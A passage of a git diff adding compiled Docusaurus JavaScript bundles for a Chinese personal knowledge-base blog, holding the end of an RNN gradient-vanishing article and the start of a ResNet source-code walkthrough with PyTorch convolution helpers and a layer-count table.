\u5b58\u5728\u4e00\u4e2a\u5de8\u5927\u7684\u7f3a\u9677\uff1a\u68af\u5ea6\u7206\u70b8\u4e0e\u68af\u5ea6\u6d88\u5931\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u91cd\u65b0\u5ba1\u67e5\u4ee3\u7801\u4e0e\u516c\u5f0f\uff0c\u53ef\u4ee5\u5f88\u8f7b\u677e\u7684\u53d1\u73b0\uff0c\u5728\u5e8f\u5217\u8fbe\u5230\u672b\u5c3e\u65f6\uff0c\u6211\u4eec\u624d\u9700\u8981\u8ba1\u7b97\u635f\u5931\u4e0e\u8fdb\u884c\u68af\u5ea6\u56de\u4f20\uff0c\u6b64\u65f6\u5c06 $\\mathbf{H}",(0,i.jsx)(e.em,{children:"t$ \u5c55\u5f00\uff0c\u5176\u5185\u90e8\u5b58\u5728 $\\mathbf{W}"}),"{hh} \\times \\mathbf{H}",(0,i.jsx)(e.em,{children:"{t-1}$\u3002\u800c\u5c06 $\\mathbf{H}"}),"{t-1}$ \u5c55\u5f00\uff0c\u4e5f\u5b58\u5728\u4e00\u4e2a $\\mathbf{W}",(0,i.jsx)(e.em,{children:"{hh}$\uff0c\u90a3\u4e48\u5f88\u660e\u663e \u5982\u679c $\\mathbf{W}"}),"{hh}$ \u5927\u4e8e 1\uff0c\u5728\u7ecf\u8fc7 $t$ \u6b21\u8fde\u4e58\u4e4b\u540e\u4f1a\u4ea7\u751f\u68af\u5ea6\u7206\u70b8\uff0c\u5982\u679c $\\mathbf{W}",(0,i.jsx)(e.em,{children:"{hh}$ \u5c0f\u4e8e 1\uff0c\u5728\u7ecf\u8fc7 $t$ \u6b21\u8fde\u4e58\u4e4b\u540e\u53c8\u4f1a\u4ea7\u751f\u68af\u5ea6\u6d88\u5931\u3002\u540c\u7406\uff0c\u5728 $\\mathbf{W}"}),"{xh}$ \u4e0a\uff0c\u4e5f\u5b58\u5728\u8fd9\u6837\u7684\u4f9d\u8d56\u5173\u7cfb\uff0c\u4e5f\u4f1a\u5bfc\u81f4\u68af\u5ea6\u7206\u70b8\u6216\u8005\u6d88\u5931\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u68af\u5ea6\u7684\u6d88\u5931\u4e5f\u53ef\u4ee5\u8fd9\u6837\u601d\u8003\uff1a\u524d\u65b9\u8282\u70b9\u7684\u9690\u85cf\u4fe1\u606f\u603b\u548c\u5360\u4e86 0.5\uff0c\u800c\u5f53\u524d\u8282\u70b9\u9690\u85cf\u4fe1\u606f\u5360\u4e86 0.5\uff0c\u968f\u7740\u5e8f\u5217\u957f\u5ea6\u7684\u589e\u52a0\uff0c\u4f4d\u4e8e\u5f00\u59cb\u90e8\u5206\u8282\u70b9\u7684\u9690\u85cf\u4fe1\u606f\u5360\u6bd4\u51e0\u4e4e\u662f\u6307\u6570\u578b\u4e0b\u964d\uff0c\u4ece 1/2 \u5230 1/4 \u5230 1/8\uff0c\u4ee5\u6b64\u7c7b\u63a8\u3002\u53ef\u4ee5\u53c2\u8003\u4e0b\u56fe\u5c1d\u8bd5\u7406\u89e3\u3002\u56e0\u6b64\uff0c\u5728 RNN \u4e2d\uff0c\u68af\u5ea6\u6d88\u5931\u5c31\u6210\u4e86\u4e00\u4e2a\u6bd4\u68af\u5ea6\u7206\u70b8\u66f4\u5173\u6ce8\u7684\u96be\u9898\uff0c\u56e0\u4e3a\u8fd9\u4f7f\u5f97\u6a21\u578b\u53ea\u80fd\u8bb0\u5f97\u79bb\u81ea\u5df1\u6700\u8fd1\u7684\u51e0\u4e2a\u8282\u70b9\u7684\u72b6\u6001\uff0c\u800c\u5f88\u96be\u8003\u8651\u66f4\u8fdc\u4e00\u6b65\u7684\u72b6\u6001\uff0c\u65e0\u6cd5\u66f4\u597d\u7684\u5173\u8054\u4e0a\u4e0b\u6587\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u6211\u4eec\u53ef\u4ee5\u8003\u8651\u4f7f\u7528 \u68af\u5ea6\u526a\u88c1\u7684\u65b9\u5f0f\u4fdd\u8bc1\u68af\u5ea6\u4f20\u9012\u8fc7\u7a0b\u4e2d\u4e0d\u5927\u4e8e1\uff0c\u4ece\u800c\u4f7f\u5f97\u68af\u5ea6\u4e0d\u4f1a\u7206\u70b8\uff0c\u4f46\u662f\uff0c\u6211\u4eec\u65e0\u6cd5\u963b\u6b62\u68af\u5ea6\u7684\u6d88\u5931\u3002\u5f53\u7136\uff0c\u4e5f\u53ef\u4ee5\u67e5\u770b\u4e0b\u4e00\u7bc7\uff0c\u9488\u5bf9 RNN \u8fdb\u884c\u4f18\u5316\u7684 LSTM\u3001GRU \u7b49\u7b97\u6cd5"})]})}function a(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(o,{...n})}):o(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>h,x:()=>l});var s=t(96540);const i={},r=s.createContext(i);function h(n){const e=s.useContext(r);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:h(n.components),s.createElement(r.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/431952a0.141b5968.js b/en/assets/js/431952a0.141b5968.js new file mode 100644 index 0000000..0e4738b --- /dev/null +++ b/en/assets/js/431952a0.141b5968.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2360],{3850:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg"},28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>r});var l=s(96540);const t={},i=l.createContext(t);function o(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:o(n.components),l.createElement(i.Provider,{value:e},n.children)}},56974:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg"},58706:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>a,contentTitle:()=>r,default:()=>p,frontMatter:()=>o,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","title":"ResNet\u6e90\u7801\u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0"},"next":{"title":"Swin-Transformer\u89e3\u8bfb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb"}}');var t=s(74848),i=s(28453);const o={},r="ResNet\u6e90\u7801\u89e3\u8bfb.md",a={},c=[{value:"1 \u57fa\u672c\u4ecb\u7ecd",id:"1-\u57fa\u672c\u4ecb\u7ecd",level:2},{value:"2 \u6e90\u7801\u89e3\u8bfb",id:"2-\u6e90\u7801\u89e3\u8bfb",level:2},{value:"2.1 \u5377\u79ef\u6838\u7684\u5c01\u88c5",id:"21-\u5377\u79ef\u6838\u7684\u5c01\u88c5",level:3},{value:"2.2 \u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",id:"22-\u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",level:3},{value:"2.2.1 Shortcut Connection.",id:"221-shortcut-connection",level:4},{value:"2.2.2 BasicBlock",id:"222-basicblock",level:4},{value:"2.2.3 BottleNeck",id:"223-bottleneck",level:4},{value:"2.3 \u7f51\u7edc\u6574\u4f53\u7ed3\u6784",id:"23-\u7f51\u7edc\u6574\u4f53\u7ed3\u6784",level:3},{value:"3 \u603b\u7ed3",id:"3-\u603b\u7ed3",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"resnet\u6e90\u7801\u89e3\u8bfbmd",children:"ResNet\u6e90\u7801\u89e3\u8bfb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"resnet\u6e90\u7801\u89e3\u8bfb",children:"ResNet\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,t.jsx)(e.p,{children:"\u672c\u6587\u5bf9\u6b8b\u5dee\u795e\u7ecf\u7f51\u7edc\uff08ResNet\uff09\u7684\u6e90\u7801\u8fdb\u884c\u89e3\u8bfb\u3002\u6b8b\u5dee\u795e\u7ecf\u7f51\u7edc\u662f\u7531\u5fae\u8f6f\u7814\u7a76\u9662\u7684\u4f55\u607a\u660e\u3001\u5f20\u7965\u96e8\u3001\u4efb\u5c11\u537f\u3001\u5b59\u5251\u7b49\u4eba\u63d0\u51fa\u7684\u3002\u5b83\u7684\u4e3b\u8981\u8d21\u732e\u662f\u53d1\u73b0\u4e86\u5728\u589e\u52a0\u7f51\u7edc\u5c42\u6570\u7684\u8fc7\u7a0b\u4e2d\uff0c\u200e\u968f\u7740\u8bad\u7ec3\u7cbe\u5ea6(Training accuracy)\u200e\u9010\u6e10\u8d8b\u4e8e\u9971\u548c\uff0c\u7ee7\u7eed\u589e\u52a0\u5c42\u6570\uff0ctraining accuracy \u5c31\u4f1a\u51fa\u73b0\u4e0b\u964d\u7684\u73b0\u8c61\uff0c\u800c\u8fd9\u79cd\u4e0b\u964d\u4e0d\u662f\u7531\u8fc7\u62df\u5408\u9020\u6210\u7684\u3002\u4ed6\u4eec\u5c06\u8fd9\u4e00\u73b0\u8c61\u79f0\u4e4b\u4e3a\u201c\u9000\u5316\u73b0\u8c61\uff08Degradation\uff09\u201d\uff0c\u5e76\u9488\u5bf9\u9000\u5316\u73b0\u8c61\u53d1\u660e\u4e86 \u201c\u5feb\u6377\u8fde\u63a5\uff08Shortcut connection\uff09\u201d\uff0c\u6781\u5927\u7684\u6d88\u9664\u4e86\u6df1\u5ea6\u8fc7\u5927\u7684\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u56f0\u96be\u95ee\u9898\u3002\u795e\u7ecf\u7f51\u7edc\u7684\u201c\u6df1\u5ea6\u201d\u9996\u6b21\u7a81\u7834\u4e86100\u5c42\u3001\u6700\u5927\u7684\u795e\u7ecf\u7f51\u7edc\u751a\u81f3\u8d85\u8fc7\u4e861000\u5c42\u3002\uff08\u5728\u6b64\uff0c\u5411\u5df2\u6545\u7684\u5b59\u5251\u535a\u58eb\u8868\u793a\u5d07\u9ad8\u7684\u656c\u610f\uff09"}),"\n",(0,t.jsx)(e.p,{children:"\u901a\u8fc7\u672c\u6587\u4f60\u5c06\u5b66\u4e60\u5230\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u68af\u5ea6\u6d88\u5931/\u7206\u70b8\u7684\u7b80\u4ecb"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u4ee3\u7801\u91cc\u9762\u4e3a\u4ec0\u4e48\u8981\u8bbe\u8ba1BasicBlock\u548cBottleneck\u4e24\u79cd\u7ed3\u6784"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u4ee3\u7801\u91cc\u9762\u7684expansion\u4f5c\u7528"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"1-\u57fa\u672c\u4ecb\u7ecd",children:"1 \u57fa\u672c\u4ecb\u7ecd"}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u7740\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u51fa\u73b0\uff0c\u4eba\u4eec\u53d1\u73b0\u591a\u5c42\u5377\u79ef\u6216\u8005\u5168\u8fde\u63a5\u7f51\u7edc\u7684\u6548\u679c\u5927\u4e8e\u5355\u5c42\u5377\u79ef\u6216\u8005\u5168\u8fde\u63a5\u7f51\u7edc\u3002\u4e8e\u662f\u5f88\u591a\u4eba\u6f5c\u610f\u8bc6\u8ba4\u4e3a\u7f51\u7edc\u7684\u5c42\u6570\u8d8a\u591a\uff0c\u5176\u6548\u679c\u5c31\u4f1a\u8d8a\u597d\u3002\u4f46\u662f\u5f53\u65f6\u5fae\u8f6f\u7814\u7a76\u9662\u7684\u4f55\u607a\u660e\u3001\u5f20\u7965\u96e8\u3001\u4efb\u5c11\u537f\u3001\u5b59\u5251\u7b49\u4eba\u53d1\u73b0\u52a0\u6df1\u7f51\u7edc\u7684\u6df1\u5ea6\u540e\uff0c\u6574\u4e2a\u7f51\u7edc\u7684\u6548\u679c\u53cd\u800c\u53d8\u5dee\u4e86\u8bb8\u591a\u3002\u4ed6\u4eec\u8ba4\u4e3a\u5f88\u6df1\u7684\u7f51\u7edc\u65e0\u6cd5\u8bad\u7ec3\u7684\u539f\u56e0\u53ef\u80fd\u662f\u7f51\u7edc\u5728\u4fe1\u606f\u4f20\u9012\u7684\u65f6\u5019\u6216\u591a\u6216\u5c11\u4f1a\u5b58\u5728\u4fe1\u606f\u4e22\u5931\uff0c\u635f\u8017\u7b49\u95ee\u9898\uff0c\u540c\u65f6\u8fd8\u53ef\u80fd\u51fa\u73b0\u68af\u5ea6\u6d88\u5931\u6216\u8005\u68af\u5ea6\u7206\u70b8\u73b0\u8c61\u3002\u9488\u5bf9\u8fd9\u4e2a\u95ee\u9898\uff0c\u4ed6\u4eec\u63d0\u51fa\u4e86ResNet\u4ee5\u671f\u671b\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0cResNet\u7684\u51fa\u73b0\u4e5f\u8ba9\u795e\u7ecf\u7f51\u7edc\u9010\u6e10\u771f\u6b63\u8d70\u5411\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u3002ResNet\u6700\u5927\u7684\u8d21\u732e\u5728\u4e8e\u6dfb\u52a0\u4e86shortcut connection\u5c06\u8f93\u5165\u76f4\u63a5\u8fde\u63a5\u5230\u540e\u9762\u7684\u5c42\uff0c\u4e00\u5b9a\u7a0b\u5ea6\u7f13\u89e3\u4e86\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u5e76\u63d0\u9ad8\u4e86\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u7684\u6548\u679c\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u8be6\u7ec6\u7684\u89e3\u91ca\u4e00\u4e0b",(0,t.jsx)(e.strong,{children:"\u68af\u5ea6\u6d88\u5931"}),"\u548c",(0,t.jsx)(e.strong,{children:"\u68af\u5ea6\u7206\u70b8"}),"\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u7684\u6839\u6e90\u4e3b\u8981\u662f\u56e0\u4e3a\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u7ed3\u6784\u4ee5\u53ca\u53cd\u5411\u4f20\u64ad\u7b97\u6cd5\uff0c\u76ee\u524d\u4f18\u5316\u795e\u7ecf\u7f51\u7edc\u7684\u65b9\u6cd5\u90fd\u662f\u57fa\u4e8e\u53cd\u5411\u4f20\u64ad\u7684\u601d\u60f3\uff0c\u5373\u6839\u636e\u635f\u5931\u51fd\u6570\u8ba1\u7b97\u7684\u8bef\u5dee\u901a\u8fc7\u53cd\u5411\u4f20\u64ad\u7684\u65b9\u5f0f\uff0c\u6307\u5bfc\u6df1\u5ea6\u7f51\u7edc\u6743\u503c\u7684\u66f4\u65b0\u3002\u8bef\u5dee\u68af\u5ea6\u662f\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u8ba1\u7b97\u7684\u65b9\u5411\u548c\u6570\u91cf\uff0c\u7528\u4e8e\u4ee5\u6b63\u786e\u7684\u65b9\u5411\u548c\u5408\u9002\u7684\u91cf\u66f4\u65b0\u7f51\u7edc\u6743\u91cd\u3002 \u5728\u6df1\u5c42\u7f51\u7edc\u6216\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\u4e2d\uff0c\u8bef\u5dee\u68af\u5ea6\u53ef\u5728\u66f4\u65b0\u4e2d\u7d2f\u79ef\uff0c\u53d8\u6210\u975e\u5e38\u5927\u7684\u68af\u5ea6\uff0c\u7136\u540e\u5bfc\u81f4\u7f51\u7edc\u6743\u91cd\u7684\u5927\u5e45\u66f4\u65b0\uff0c\u5e76\u56e0\u6b64\u4f7f\u7f51\u7edc\u53d8\u5f97\u4e0d\u7a33\u5b9a\u3002\u5728\u6781\u7aef\u60c5\u51b5\u4e0b\uff0c\u6743\u91cd\u7684\u503c\u53d8\u5f97\u975e\u5e38\u5927\uff0c\u4ee5\u81f3\u4e8e\u6ea2\u51fa\uff0c\u5bfc\u81f4 NaN \u503c\u3002 ",(0,t.jsx)(e.strong,{children:"\u7f51\u7edc\u5c42\u4e4b\u95f4\u7684\u68af\u5ea6\uff08\u503c\u5927\u4e8e 1.0\uff09\u91cd\u590d\u76f8\u4e58\u5bfc\u81f4\u7684\u6307\u6570\u7ea7\u589e\u957f\u4f1a\u4ea7\u751f\u68af\u5ea6\u7206\u70b8\u3002"})," \u5728\u6df1\u5ea6\u591a\u5c42\u611f\u77e5\u673a\u7f51\u7edc\u4e2d\uff0c\u68af\u5ea6\u7206\u70b8\u4f1a\u5f15\u8d77\u7f51\u7edc\u4e0d\u7a33\u5b9a\uff0c\u6700\u597d\u7684\u7ed3\u679c\u662f\u65e0\u6cd5\u4ece\u8bad\u7ec3\u6570\u636e\u4e2d\u5b66\u4e60\uff0c\u800c\u6700\u574f\u7684\u7ed3\u679c\u662f\u51fa\u73b0\u65e0\u6cd5\u518d\u66f4\u65b0\u7684 NaN \u6743\u91cd\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u800c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u68af\u5ea6\u4f1a\u53d8\u5f97\u975e\u5e38\u5c0f\uff0c ",(0,t.jsx)(e.strong,{children:"\u7f51\u7edc\u5c42\u4e4b\u95f4\u7684\u68af\u5ea6\uff08\u503c\u5c0f\u4e8e 1.0\uff09\u91cd\u590d\u76f8\u4e58\u5bfc\u81f4\u7684\u6307\u6570\u7ea7\u53d8\u5c0f\u4f1a\u4ea7\u751f\u68af\u5ea6\u6d88\u5931"}),"\u3002\u5728\u6700\u574f\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u53ef\u80fd\u4f1a\u5b8c\u5168\u505c\u6b62\u795e\u7ecf\u7f51\u7edc\u7684\u8fdb\u4e00\u6b65\u8bad\u7ec3\u3002\u4f8b\u5982\uff0c\u4f20\u7edf\u7684\u6fc0\u6d3b\u51fd\u6570(\u5982\u53cc\u66f2\u6b63\u5207\u51fd\u6570)\u5177\u6709\u8303\u56f4(0,1)\u5185\u7684\u68af\u5ea6\uff0c\u53cd\u5411\u4f20\u64ad\u901a\u8fc7\u94fe\u5f0f\u6cd5\u5219\u8ba1\u7b97\u68af\u5ea6\u3002\u8fd9\u6837\u505a\u7684\u6548\u679c\u662f\uff0c\u7528\u8fd9\u4e9b\u5c0f\u6570\u5b57\u7684n\u4e58\u4ee5n\u6765\u8ba1\u7b97n\u5c42\u7f51\u7edc\u4e2d\u201c\u524d\u7aef\u201d\u5c42\u7684\u68af\u5ea6\uff0c\u8fd9\u610f\u5473\u7740\u68af\u5ea6(\u8bef\u5dee\u4fe1\u53f7)\u968fn\u5448\u6307\u6570\u9012\u51cf\uff0c\u800c\u524d\u7aef\u5c42\u7684\u8bad\u7ec3\u975e\u5e38\u7f13\u6162\u3002\u6700\u7ec8\u5bfc\u81f4\u66f4\u65b0\u505c\u6ede\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"2-\u6e90\u7801\u89e3\u8bfb",children:"2 \u6e90\u7801\u89e3\u8bfb"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e3a\u4e86\u5e2e\u52a9\u5927\u5bb6\u5bf9ResNet\u6709\u66f4\u597d\u7684\u7406\u89e3\uff0c\u6211\u4eec\u4f7f\u7528",(0,t.jsx)(e.a,{href:"https://github.com/pytorch/vision/blob/master/torchvision/models/resnet.py",children:"torchvision\u7684ResNet\u6e90\u7801"}),"\u8fdb\u884c\u89e3\u8bfb\u3002"]}),"\n",(0,t.jsx)(e.h3,{id:"21-\u5377\u79ef\u6838\u7684\u5c01\u88c5",children:"2.1 \u5377\u79ef\u6838\u7684\u5c01\u88c5"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4ee3\u7801\u7684\u5f00\u59cb\uff0c\u9996\u5148\u5c01\u88c5\u4e863x3\u548c1x1\u7684\u5377\u79ef\u6838\uff0c\u8fd9\u6837\u53ef\u4ee5\u589e\u52a0\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u3002\u9664\u4e86\u8fd9\u79cd\u4ee3\u7801\u5199\u6cd5\u5916\uff0c\u8fd8\u6709\u8bb8\u591a\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u5728\u5f00\u59cb\u4e5f\u4f1a\u5c06\u5377\u79ef\u5c42\uff0c\u6fc0\u6d3b\u51fd\u6570\u5c42\u548cBN\u5c42\u5c01\u88c5\u5728\u4e00\u8d77\uff0c\u540c\u6837\u662f\u4e3a\u4e86\u589e\u52a0\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'def conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:\n """3x3 convolution with padding"""\n return nn.Conv2d(\n in_planes,\n out_planes,\n kernel_size=3,\n stride=stride,\n padding=dilation,\n groups=groups,\n bias=False,\n dilation=dilation,\n )\n\n\ndef conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:\n """1x1 convolution"""\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n'})}),"\n",(0,t.jsx)(e.h3,{id:"22-\u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",children:"2.2 \u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u7f51\u7edc\u662f\u7531\u5f88\u591a\u76f8\u540c\u7684\u6a21\u5757\u5806\u53e0\u8d77\u6765\u7684\uff0c\u4e3a\u4e86\u4fdd\u8bc1\u4ee3\u7801\u5177\u6709\u53ef\u8bfb\u6027\u548c\u53ef\u6269\u5c55\u6027\uff0cResNet\u5728\u8bbe\u8ba1\u65f6\u91c7\u7528\u4e86\u6a21\u5757\u5316\u8bbe\u8ba1\uff0c\u9488\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684ResNet\uff0c\u4e66\u5199\u4e86BasicBlock\u548cBottleNeck\u4e24\u4e2a\u57fa\u672c\u6a21\u5757\u3002\u8fd9\u79cd\u6a21\u5757\u5316\u7684\u8bbe\u8ba1\u5728\u73b0\u5728\u8bb8\u591a\u5e38\u89c1\u7684\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u4e2d\u6211\u4eec\u53ef\u4ee5\u7ecf\u5e38\u770b\u5230\u3002"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u5e38\u89c1\u7684\u5927\u5c0f\u6709\u4e0b\u56fe\u7684ResNet-18\uff0cResNet-34\uff0cResNet-50\u3001ResNet-101\u548cResNet-152\uff0c\u5176\u4e2d\u7f51\u7edc\u540e\u9762\u7684\u6570\u5b57\u4ee3\u8868\u7684\u662f\u7f51\u7edc\u7684\u5c42\u6570\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"expansion",src:s(3850).A+"",width:"875",height:"377"})}),"\n",(0,t.jsx)(e.p,{children:"\u4e3a\u4e86\u5e2e\u52a9\u5927\u5bb6\u66f4\u597d\u7684\u7406\u89e3\uff0c\u6211\u4eec\u4ee5ResNet101\u4e3a\u4f8b\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"layer_name"}),(0,t.jsx)(e.th,{children:"\u6b21\u6570"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv1"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef1\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv2_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef3 x 3 = 9\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv3_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef4 x 3 = 12\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv4_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef23 x 3 = 69\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv5_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef3 x 3 = 9\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"fc"}),(0,t.jsx)(e.td,{children:"average pool 1\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5408\u8ba1"}),(0,t.jsx)(e.td,{children:"1 + 9 + 12 + 69 + 9 + 1 = 